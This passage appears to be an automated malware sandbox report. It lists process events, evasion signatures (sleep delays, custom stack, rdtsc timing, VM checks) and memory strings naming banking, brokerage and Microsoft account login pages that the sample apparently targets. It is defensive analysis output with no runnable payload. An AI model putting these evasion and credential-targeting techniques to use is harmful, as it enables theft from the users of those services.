                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004048A6 push ecx; retf 8_2_004048B2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00418968 push es; iretd 8_2_0041896F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004031F0 push eax; ret 8_2_004031F2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00408240 push ebx; iretd 8_2_0040824E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_004142B5 push ebx; retf 8_2_004142B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00417378 push cs; retf 8_2_004173AC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00414308 push DCF7C235h; retn DCF7h8_2_004143BD
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040430B push ss; ret 8_2_0040430D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0041831D push ds; retf 8_2_004182D7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00401B2D push ebp; ret 8_2_00401B2E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00414C5A push ecx; ret 8_2_00414CF8
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion

                  barindex
                  Switches to a custom stack to bypass stack traces
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD324
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0774
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0154
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD8A4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI/Special instruction interceptor: Address: 7FFBCB7ADA44
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD1E4
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD324
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0774
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD944
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD504
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD544
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD1E4
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0154
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD8A4
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7ADA44
                  Source: C:\Windows\SysWOW64\choice.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD7E4
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD1C0 rdtsc 8_2_013CD1C0
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                  Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1905Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1061Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3781Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6005Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeWindow / User API: threadDelayed 9765Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeAPI coverage: 0.9 %
                  Source: C:\Windows\SysWOW64\choice.exeAPI coverage: 2.6 %
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7940Thread sleep count: 3781 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944Thread sleep count: 6005 > 30Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7976Thread sleep time: -14757395258967632s >= -30000sJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exe TID: 6408Thread sleep count: 207 > 30Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exe TID: 6408Thread sleep time: -414000s >= -30000sJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exe TID: 6408Thread sleep count: 9765 > 30Jump to behavior
                  Source: C:\Windows\SysWOW64\choice.exe TID: 6408Thread sleep time: -19530000s >= -30000sJump to behavior
                  Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                  Source: C:\Windows\SysWOW64\choice.exeLast function: Thread delayed
                  Source: C:\Windows\SysWOW64\choice.exeLast function: Thread delayed
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BAC9D0 FindFirstFileW,FindNextFileW,FindClose,11_2_02BAC9D0
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: 4789071F.11.drBinary or memory string: ms.portal.azure.comVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: discord.comVMware20,11696494690f
                  Source: 4789071F.11.drBinary or memory string: AMC password management pageVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: outlook.office.comVMware20,11696494690s
                  Source: choice.exe, 0000000B.00000002.2701139425.000000000809D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware20,11696494690n
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
                  Source: 4789071F.11.drBinary or memory string: interactivebrokers.comVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: netportal.hdfcbank.comVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: interactivebrokers.co.inVMware20,11696494690d
                  Source: 4789071F.11.drBinary or memory string: account.microsoft.com/profileVMware20,11696494690u
                  Source: 4789071F.11.drBinary or memory string: outlook.office365.comVMware20,11696494690t
                  Source: wscript.exe, 00000000.00000002.2129766606.000002059185A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126870589.0000020591838000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059181C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2130075699.0000020593760000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059185A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: 4789071F.11.drBinary or memory string: www.interactivebrokers.comVMware20,11696494690}
                  Source: choice.exe, 0000000B.00000002.2701139425.000000000809D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: e365.comVMware20,11696494690t
                  Source: 4789071F.11.drBinary or memory string: microsoft.visualstudio.comVMware20,11696494690x
                  Source: 4789071F.11.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
                  Source: 4789071F.11.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696494690
                  Source: firefox.exe, 0000000C.00000002.2288338705.000002083CABF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
                  Source: 4789071F.11.drBinary or memory string: trackpan.utiitsl.comVMware20,11696494690h
                  Source: 4789071F.11.drBinary or memory string: tasks.office.comVMware20,11696494690o
                  Source: 4789071F.11.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
                  Source: choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll$-H
                  Source: 4789071F.11.drBinary or memory string: dev.azure.comVMware20,11696494690j
                  Source: 4789071F.11.drBinary or memory string: global block list test formVMware20,11696494690
                  Source: choice.exe, 0000000B.00000002.2701139425.000000000809D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ist test formVMware20,1169649469
                  Source: 4789071F.11.drBinary or memory string: turbotax.intuit.comVMware20,11696494690t
                  Source: 4789071F.11.drBinary or memory string: bankofamerica.comVMware20,11696494690x
                  Source: 4789071F.11.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690}
                  Source: choice.exe, 0000000B.00000002.2701139425.000000000809D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,1
                  Source: 4789071F.11.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696494690
                  Source: 4789071F.11.drBinary or memory string: Interactive Brokers - HKVMware20,11696494690]
                  Source: 4789071F.11.drBinary or memory string: Canara Transaction PasswordVMware20,11696494690x
